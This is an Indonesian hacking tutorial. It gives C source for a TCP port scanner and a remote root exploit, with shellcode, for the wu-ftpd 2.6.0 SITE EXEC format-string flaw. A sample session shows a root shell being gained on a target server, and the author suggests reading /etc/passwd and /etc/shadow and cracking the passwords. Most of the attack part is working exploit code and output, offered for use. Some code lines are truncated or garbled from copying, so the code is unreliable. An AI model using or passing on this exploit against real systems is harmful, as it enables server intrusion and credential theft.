Mari kita lihat contoh coding nya di bawah ini :
Teks warna merah jgn dicopy hy penjelasan
NB : Tanda kurung seperti ( ) diganti dengan < > dan hanya yang bertulisan Include saja. sedangkan yang lain tidak masalah.
#include (stdio.h)
#include (stdlib.h)
#include (string.h)
#include (errno.h)
#include (unistd.h)
#include (arpa/inet.h)
#include (sys/types.h)
#include (sys/socket.h)
#include (netinet/tcp.h)
#include (netinet/ip.h)
#include (netinet/in.h)
#include (netdb.h)
#include (unistd.h)
#include (stdlib.h)
#include (string.h)
#include (errno.h)
#include (unistd.h)
#include (arpa/inet.h)
#include (sys/types.h)
#include (sys/socket.h)
#include (netinet/tcp.h)
#include (netinet/ip.h)
#include (netinet/in.h)
#include (netdb.h)
#include (unistd.h)
#define DEF_STR_PORT 1
#define DEF_STP_PORT 1024
#define OXO 1
struct sockaddr_in addr;
struct hostent *rh;
struct servent *rp;
int sock,i;
int str_ptr, stp_ptr;
int Usage(char *ARG);
int CONNECTION(int port);
int main(int argc, char *argv[])
{
if (argc != 4)
Usage(argv[0]);
str_ptr = atoi(argv[2]);
stp_ptr = atoi(argv[3]);
if (strcmp(argv[2],"-")==0 && strcmp(argv[3],"-")==0){
str_ptr = DEF_STR_PORT;
stp_ptr = DEF_STP_PORT;
}
if ( str_ptr > stp_ptr){
fprintf(stderr,"DetecT ErroR !!! On PortS,
Be Greater
Than
Usage(argv[0]);
exit(OXO);
}
if ((rh=gethostbyname(argv[1])) == NULL){
fprintf(stderr,"Can't Resolve Host %s .-\n",argv[1]);
Usage(argv[0]);
exit(OXO);
}
printf("ScanninG Host %s From %d TcP Port To %d
.-\n",argv[1],str_ptr,stp_ptr);
for (i=str_ptr; i <= stp_ptr; i++) { if (CONNECTION(i)==0) { rp=getservbyport(htons(i),"tcp"); printf("Port %d Is Open !!! <%s> ServicE.-\n",i,(rp
==NULL)?"UknowN":rp->s_name);
}
close(sock);
}
return 0;
}
int CONNECTION(int port)
{
if ((sock=socket(AF_INET,SOCK_STREAM,0)) == -1)
{
perror("SockeT");
exit(OXO);
}
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr = *((struct in_addr *)rh->h_addr);
if ((connect(sock,(struct sockaddr *) &addr, sizeof(addr))) ==
0)
{
return 0;
else
return 1;
}
int Usage(char *ARG)
{
fprintf(stderr,"TCPPortS.c By ZinC_Sh(C).-\n");
fprintf(stderr,"Usage: %s
exit(OXO);
}
cara compilenya :
#gcc ports.c -o ports
kalau udah di compile sekarang kita scan `#./ports 10.1.xx.xx
10 100 ;maksudnya scanning 10.1.xx.xx mulai dari port 10
sampai 100
Port 21 Is Open !!!
Service selanjutnya kita tinggal jalanin remote exploit, saya
juga menyertakannya,
sourcenya dalam C
Teks warna merah jgn dicopy hy penjelasan
NB : Tanda kurung seperti ( ) diganti dengan < > dan hanya yang bertulisan Include saja. sedangkan yang lain tidak masalah.
#include (string.h)
#include (stdlib.h)
#include (sys/types.h)
#include (sys/socket.h)
#include (sys/time.h)
#include (netdb.h)
#include (unistd.h)
#include (netinet/in.h)
#include (arpa/inet.h)
#include (signal.h)
#include (errno.h)
#ifdef __linux
#include
#endif
#define MAKE_STR_FROM_RET(x)
((x)&0xff),(((x)&0xff00)>>8),(((x)&0xff0000)>>16),(((x)&0xff000000)>>24)
#define GREEN "\033[32m"
#define RED "\033[31m"
#define NORM "\033[0m"
char infin_loop[]= /* for testing purposes */
"\xEB\xFE";
char bsdcode[] = /* Lam3rZ chroot() code rewritten for FreeBSD
by venglin */
"\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80\x31\xdb\x31\xc0\x43"
"\x43\x53\x4b\x53\x53\xb0\x5a\xcd\x80\xeb\x77\x5e\x31\xc0"
"\x8d\x5e\x01\x88\x46\x04\x66\x68\xff\xff\x01\x53\x53\xb0"
"\x88\xcd\x80\x31\xc0\x8d\x5e\x01\x53\x53\xb0\x3d\xcd\x80"
"\x31\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9"
"\x31\xc0\x8d\x5e\x08\x53\x53\xb0\x0c\xcd\x80\xfe\xc9\x75"
"\xf1\x31\xc0\x88\x46\x09\x8d\x5e\x08\x53\x53\xb0\x3d\xcd"
"\x80\xfe\x0e\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46"
"\x07\x89\x76\x08\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56"
"\x0c\x52\x51\x53\x53\xb0\x3b\xcd\x80\x31\xc0\x31\xdb\x53"
"\x53\xb0\x01\xcd\x80\xe8\x84\xff\xff\xff\xff\xff\xff\x30"
"\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e"
"\x67\x6c\x69\x6e";
char bsd_code_d[]= /* you should call it directly (no
jump/call)*/
"\xEB\xFE\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x5C"
"\x8B\x74\x24\xFC\x31\xC9\xB1\x15\x01\xCE\xB1\x71\xB0\xEF"
"\x30\x06\x8D\x76\x01\xE2\xF9\xDE\x26\xDE\x2F\xBE\x5F\xF8"
"\xBF\x22\x6F\x5F\xB5\xEB\xB4\xBE\xBF\x22\x6F\x62\xB9\x14"
"\x87\x75\xED\xEF\xEF\xBD\x5F\x67\xBF\x22\x6F\x62\xB9\x11"
"\xBE\xBD\x5F\xEA\xBF\x22\x6F\x66\x2C\x62\xB9\x14\xBD\x5F"
"\xD2\xBF\x22\x6F\xBC\x5F\xE2\xBF\x22\x6F\x5C\x11\x62\xB9"
"\x12\x5F\xE3\xBD\xBF\x22\x6F\x11\x24\x9A\x1C\x62\xB9\x11"
"\xBD\x5F\xD2\xBF\x22\x6F\x62\x99\x12\x66\xA1\xEB\x62\xB9"
"\x17\x66\xF9\xB9\xB9\xBD\x5F\xD4\xBF\x22\x6F\xC0\x8D\x86"
"\x81\xC0\x9C\x87\xEF\xC1\xC1\xEF";
char linuxcode[]= /* Lam3rZ chroot() code */
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
"\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
"\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\xff\x01\xb0\x27"
"\xcd\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31"
"\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d"
"\x5e\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46"
"\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8"
"\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0"
"\x31\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff"
"\x30\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31";
#define MAX_FAILED 4
#define MAX_MAGIC 100
static int magic[MAX_MAGIC],magic_d[MAX_MAGIC];
static char *magic_str=NULL;
int before_len=0;
char *target=NULL,*username="ftp",*password=NULL;
struct targets getit;
struct targets {
int def;
char *os_descr, *shellcode;
int delay;
u_long pass_addr, addr_ret_addr;
int magic[MAX_MAGIC], magic_d[MAX_MAGIC],islinux;
};
struct targets targ[]={
{0,"RedHat 6.2 (?) with wuftpd 2.6.0(1) from
rpm",linuxcode,2,0x8075b00-700,0xbfffb028,{0x87,3,1,2},{1,2,1,4},1},
{0,"RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from
rpm",linuxcode,2,0x8075b00-700,0xbfffb038,{0x87,3,1,2},{1,2,1,4},1},
{0,"SuSe 6.3 with wuftpd 2.6.0(1) from
rpm",linuxcode,2,0x8076cb0-400,0xbfffb018,{0x87,3,1,2},{1,2,1,4},1},
{0,"SuSe 6.4 with wuftpd 2.6.0(1) from
rpm",linuxcode,2,0x8076920-400,0xbfffafec,{0x88,3,1,2},{1,2,1,4},1},
{0,"RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm
(test)",linuxcode,2,0x8075b00-700,0xbfffb070,{0x87,3,1,2},{1,2,1,4},1},
{0,"FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from
ports",bsdcode,10,0x80bb474-100,
0xbfbfc164,{0x3b,2,4,1,0x44,2,1,2},{1,2,1,2,1,2,1,4},0},
{1,"FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from
packages",bsdcode,2,0x806d5b0-500,0xbfbfc6bc, {0x84,1,2,1,2},
{1,3,2,1,4},0},
{0,"FreeBSD 3.4-RELEASE with wuftpd 2.6.0(1) from
ports",bsdcode,2,0x80a4dec-400,0xbfbfc624,
{0x3B,2,1,0xe,0x40,1,2,1,2},{1,2,1,2,1,3,2,1,4},0},
{0,"FreeBSD 4.0-RELEASE with wuftpd 2.6.0(1) from
packages",infin_loop,2,0x80706f0,0xbfbfe798,{0x88,2,1,2},{1,2,1,4},0},
{0,NULL,NULL,0,0,0,{0},{0},0}
};
void usage(char*zu,int q)
{
int i, n, padding;
fprintf(stderr,"Usage: %s -t
systype] [-o offset] [-g] [-h] [-x]\n"
" [-m magic_str] [-r ret_addr] [-P padding] [-p pass_addr] [-M
dir]\n"
"target : host with any wuftpd\nuser : anonymous user\n"
"dir : if not anonymous user, you need to have writable
directory\n"
"magic_str : magic string (see exploit description)\n-g :
enables magic string digging\n"
"-x : enables test mode\npass_addr : pointer to setproctitle
argument\n"
"ret_addr : this is pointer to shellcode\nsystypes: \n",zu);
for(i=0;targ[i].os_descr!=NULL;i++)
{
padding=0;
fprintf(stderr,"%s%2d - %s\n",targ[i].def?"*":"
",i,targ[i].os_descr);
if(q>1)
{
fprintf(stderr," Magic ID: [");
for(n=0;targ[i].magic[n]!=0;n++)
{
if(targ[i].magic_d[n]==4)
padding=targ[i].magic[n];
fprintf(stderr,"%02X,%02X",targ[i].magic[n],targ[i].magic_d[n]);
if(targ[i].magic[n+1]!=0)
fprintf(stderr,":");
}
fprintf(stderr,"] Padding: %d\n",padding);
fflush(stderr);
}
}
exit(1);
}
int connect_to_server(char*host){
struct hostent *hp;
struct sockaddr_in cl;
int sock;
if(host==NULL||*host==(char)0){
fprintf(stderr,"Invalid hostname\n");
exit(1);
}
if((cl.sin_addr.s_addr=inet_addr(host))==-1) {
if((hp=gethostbyname(host))==NULL) {
fprintf(stderr,"Cannot resolve %s\n",host);
exit(1);
}
memcpy((char*)&cl.sin_addr,(char*)hp->h_addr,sizeof(cl.sin_addr));
}
if((sock=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP))==-1){
fprintf(stderr,"Error creating socket: %s\n",strerror(errno));
exit(1);
}
cl.sin_family=PF_INET;
cl.sin_port=htons(21);
if(connect(sock,(struct sockaddr*)&cl,sizeof(cl))==-1){
fprintf(stderr,"Cannot connect to %s:
%s\n",host,strerror(errno));
exit(1);
}
return sock;
}
int ftp_recv(int sock,char*buf,int buf_size,int disc)
{
int n=0;
char q;
if(disc) while((n=recv(sock,&q,1,0))==1&&q!='\n');
else
{
(void)bzero(buf,buf_size);
n=recv(sock,buf,buf_size,0);
if(n<0) { fprintf(stderr,"ftp_recv: recv failed\n"); exit(1); } buf[n]=0; } return n; } int ftp_send(int sock,char*what,int size,int f,char*ans,int ans_size) { int n; n=send(sock,what,size,0); if(n!=size) { fprintf(stderr,"ftp_send: failed to send. expected %d, sent %d\n", size,n); shutdown(sock,2); close(sock); exit(1); } if(f) return ftp_recv(sock,ans,ans_size,0); return 0; } int ftp_siteexec(int sock,char*buff,int buff_len,int q,char*ans,int ans_len){ ftp_send(sock,buff,buff_len,q,ans,ans_len); if(strncmp(ans,"200-",4)==0) ftp_recv(sock,NULL,0,1); else ftp_recv(sock,ans,ans_len,0); if(strncmp(ans,"200-",4)){ fprintf(stderr,"Cannot find site exec response string\n"); exit(1); } return 0; } void ftp_login(int sock,char*u_name,char*u_pass) { char buff[2048]; printf("loggin into system..\n"); snprintf(buff,2047,"USER %s\r\n", u_name); ftp_send(sock, buff,strlen(buff),1,buff,2047); printf(GREEN"USER %s\n"NORM"%s",u_name,buff); snprintf(buff,2047,"PASS %s\r\n",u_pass); printf(GREEN"PASS %s\n"NORM,*u_pass=='\x90'?"
ftp_send(sock,buff,strlen(buff),1,buff,2047);
while(strstr(buff,"230 ")==NULL){
(void)bzero(buff,2048);
ftp_recv(sock,buff,2048,0);
}
printf("%s",buff);
return;
}
void ftp_mkchdir(int sock,char*cd,char*new)
{
char buff[2048];
sprintf(buff,"CWD %s\r\n",cd);
printf(GREEN"%s"NORM,buff);
ftp_send(sock,buff,strlen(buff),1,buff,2047);
printf("%s",buff);
sprintf(buff,"MKD %s\r\n",new);
ftp_send(sock,buff,strlen(buff),1,buff,2047);
printf(GREEN"MKD
sprintf(buff,"CWD %s\r\n",new);
ftp_send(sock,buff,strlen(buff),1,buff,2047);
printf(GREEN"CWD
return;
}
void process_possibly_rooted(int sock)
{
fd_set fd_read;
char buff[1024], *cmd=getit.islinux?"/bin/uname
-a;/usr/bin/id;\n":"/usr/bin/uname -a;/usr/bin/id;\n";
int n;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
FD_SET(0, &fd_read);
send(sock, cmd, strlen(cmd), 0);
while(1) {
FD_SET(sock,&fd_read);
FD_SET(0,&fd_read);
if(select(sock+1,&fd_read,NULL,NULL,NULL)<0) break; if( FD_ISSET(sock, &fd_read) ) { if((n=recv(sock,buff,sizeof(buff),0))<0){ fprintf(stderr, "EOF\n"); exit(2); } if(write(1,buff,n)<0)break; } if ( FD_ISSET(0, &fd_read) ) { if((n=read(0,buff,sizeof(buff)))<0){ fprintf(stderr,"EOF\n"); exit(2); } if(send(sock,buff,n,0)<0) break; } usleep(10); } fprintf(stderr,"Connection aborted, select failed()\n"); exit(0); } int magic_check_f(int sock, char *str) { char q[2048], ans[2048]; snprintf(q, 2048, "site exec %s%s\r\n", str, "%.f"); if( strstr( q, "\r\n") == NULL) { fprintf(stderr,"Line TOO big..\n"); exit(-1); } ftp_siteexec(sock, q, strlen(q), 1, ans, 2048); if( before_len+10 < strlen(&ans[3]) ) return 0; before_len=strlen(&ans[3]); (void)strcat(str,"%.f"); return 1; } int magic_check_o(int sock, char *str) { char q[2048], ans[2048]; snprintf(q, 2048, "site exec %s%s\r\n", str, "%c"); if( strstr( q, "\r\n") == NULL) { fprintf(stderr,"Line TOO big..\n"); exit(-1); } ftp_siteexec( sock, q, strlen(q), 1, ans, 2048); if( before_len== strlen(&ans[3]) ) { before_len+=1; (void)strcat(str, "%d"); return 3; } before_len=strlen(&ans[3]); (void)strcat(str,"%c"); return 2; } int magic_check_ok( int sock, char *str) { char q[2048], ans[2048]; int i ,n=1, f, padding=0; snprintf(q, 2048,"site exec aaaaaaaa%s%s\r\n", str, "%p%p"); if ( strstr(q, "\r\n" ) == NULL) { fprintf(stderr, "Line too long\n"); exit(-1); } (void)bzero(ans, 2048); ftp_siteexec(sock, q, strlen(q), 1, ans, 2047); if(strstr(ans,"0x61616161")==NULL) return 0; for(i =0; i < MAX_MAGIC && magic[i]; i++); magic_d[i]=4; while(n) { for(f=0; f< 2; f++) { snprintf(q, 2048,"site exec %.*saaaa%s%s\r\n", padding, "xxxx", str, f?"%p%p":"%p"); (void)bzero(ans, 2048); ftp_siteexec(sock, q, strlen(q), 1, ans, 2047); if( strstr(ans, "0x61616161")!=NULL) { if (f==0) { magic[i]=padding; return 1; } else if( f==1) { strcat(str,"%p"); magic[i]=padding; return 1; } } } if(padding > 4) {
fprintf(stderr,"Cannot calculate padding..\n");
exit(1);
}
padding++;
}
return 1;
}
int magic_digger(int sock)
{
int get_out=1,where=0,all_failed=MAX_FAILED*2,f=0,o=0;
if(magic_str==NULL){
if((magic_str=(char*)malloc(4092))==NULL){
perror("malloc");
exit(errno);
}
}
(void)bzero(magic_str, 4092);
where=0;
while(get_out) {
int q;
if( where >= MAX_MAGIC-1 || all_failed <= 0 ) return -1; if( magic_check_f(sock, magic_str) ) { o=0,f++; if(f==1){ if(!magic[where]) magic[where]=1; else magic[++where]+=1; magic_d[where]=1; } else magic[where]+=1; all_failed=MAX_FAILED*2; printf("%s", "%.f"); fflush(stdout); goto verify; } all_failed--; if((q=magic_check_o(sock,magic_str))){ f=0,o++; if(o==1){ if(!magic[where]) magic[0]=1; else magic[++where]+=1; magic_d[where]=q; } else { if(magic_d[where]==q) magic[where]+=1; else { magic[++where]=1; magic_d[where]=q; } } all_failed=MAX_FAILED*2; printf("%s", q==2?"%c":"%d"); fflush(stdout); goto verify; } all_failed--; continue; verify: if(magic_check_ok(sock,magic_str)){ putchar('\n'); return 0; } } return 0; } int main(int argc, char *argv[]){ char *buff, *buff_p, *buff_p2, c, shellcode[500],*dir,*passwd=shellcode; int i, sock, num=-2, padding=-1, gm=0, testmode=0,mtype=0,bla=0,offset=0; u_long ret_addr=0, pass_addr=0; for(i=0;targ[i].os_descr!=NULL;i++); while((c=getopt(argc,argv,"t:l:m:o:s:r:p:M:P:xghH?"))!=EOF){ switch(c) { case 't': target=optarg;break; case 'l': username=optarg; passwd=strchr(optarg,'/'); if(passwd==NULL) usage(argv[0],0); *passwd++=(char)0; break; case 'x': testmode=1; break; case 'o': offset=atoi(optarg);break; case 'p': pass_addr=strtoul(optarg, &optarg,16); break; case 'g': gm=1; break; case 'M': dir=optarg;mtype=1;break; case 'm': { int where=0; if(!*optarg) { fprintf(stderr,"-m requires argument, try -h for help\n"); exit(1); } while(1) { magic[where]=strtoul(optarg,&optarg,16); optarg=strchr(optarg,','); if(optarg==NULL){ printf("comma missing\n"); exit(1); } optarg++; magic_d[where++]=strtoul(optarg,&optarg,16); if(strchr(optarg,':')==NULL){ magic[where]=magic_d[where]=0; break; } optarg=strchr(optarg,':'); optarg++; } } break; case 's': num=atoi(optarg); if(num>i) {
fprintf(stderr,"systype too big, try -h for help\n");
exit(1);
}
break;
case 'r':
ret_addr=strtoul(optarg,&optarg,16);
break;
case 'P':
padding=atoi(optarg);
break;
case 'H':
bla=2;
default: usage(argv[0],bla);break;
}
}
if(target==NULL){
fprintf(stderr,"No target specified, try -h for help\n");
exit(1);
}
if(num==-1||num==-2) {
for(i=0;!targ[i].def;i++);
num=i;
}
(void)memcpy((void*)&getit,(void*)&targ[num],sizeof(struct
targets));
if(magic[1]!=0) {
memcpy((void*)getit.magic,magic,sizeof(magic));
memcpy((void*)getit.magic_d,magic_d,sizeof(magic));
}
if(ret_addr)getit.addr_ret_addr=ret_addr;
if(pass_addr)getit.pass_addr=pass_addr;
getit.addr_ret_addr+=(offset*4);
sock=connect_to_server(target);
memset(shellcode, '\x90', sizeof(shellcode));
shellcode[sizeof(shellcode)-1]=(char)0;
if(!mtype){
memcpy((void*)&shellcode[sizeof(shellcode)-strlen(getit.shellcode)-1],(void*)getit.shellcode,
strlen(getit.shellcode)+1);
shellcode[sizeof(shellcode)-1]=(char)0;
}else{
memcpy((void*)&shellcode[250-strlen(getit.shellcode)-1],(void*)getit.shellcode,strlen(getit.shellcode));
shellcode[250-1]=(char)0;
}
printf("Target: %s (%s/%s):
%s\n",target,username,*passwd=='\x90'?"
printf("Return Address: 0x%08lx, AddrRetAddr: 0x%08lx,
Shellcode:
%d\n\n",getit.pass_addr,getit.addr_ret_addr,strlen(getit.shellcode));
buff=(char *)malloc(1024);
bzero(buff,1024);
(void)ftp_recv(sock,NULL,0,1);
(void)ftp_login(sock,username,passwd);
if(gm||(magic_str==NULL&&getit.magic[0]==0)){
printf("STEP 2A: Generating magic string: ");
fflush(stdout);
magic_digger(sock);
memcpy((void *)getit.magic,(void*)magic,sizeof(magic));
memcpy((void*)getit.magic_d,(void*)magic_d,sizeof(magic_d));
printf("STEP 2B: MAGIC STRING: [");
} else {
printf("STEP 2 : Skipping, magic number already exists: [");
}
for(i=0;i
wuftpd
2.6.0(1) from rpm
Return Address: 0x08075844, AddrRetAddr: 0xbfffb028,
Shellcode: 152
loggin into system..
USER ftp
331 Guest login ok, send your complete e-mail address as
password.
PASS
230 Guest login ok, access restrictions apply.
STEP 2 : Skipping, magic number already exists:
[87,01:03,02:01,01:02,04]
STEP 3 : Checking if we can reach our return address by format
string
STEP 4 : Ptr address test: 0xbfffb028 (if it is not 0xbfffb028
^C me now)
STEP 5 : Sending code.. this will take about 10 seconds.
Press ^\ to leave shell
blah blah
blah
uid=0(root) gid=0(root) egid=50(ftp) groups=50(ftp)
Nah lihat kita udah dapat shell root di server tersebut
selanjutnya terserah anda coba perintah-perintah ls -al
atau
cat /etc/passwd
atau
cat /etc/shadow
atau terserah anda, saya menyarankan agar tidak mengganggu
apalagi mengubah, kalo memang perlu passwd ambil /etc/passwd
atau /etc/shadow Trus tinggal kamu crack, banyak kok sourcenya
untuk crack passwd Selamat Mencoba
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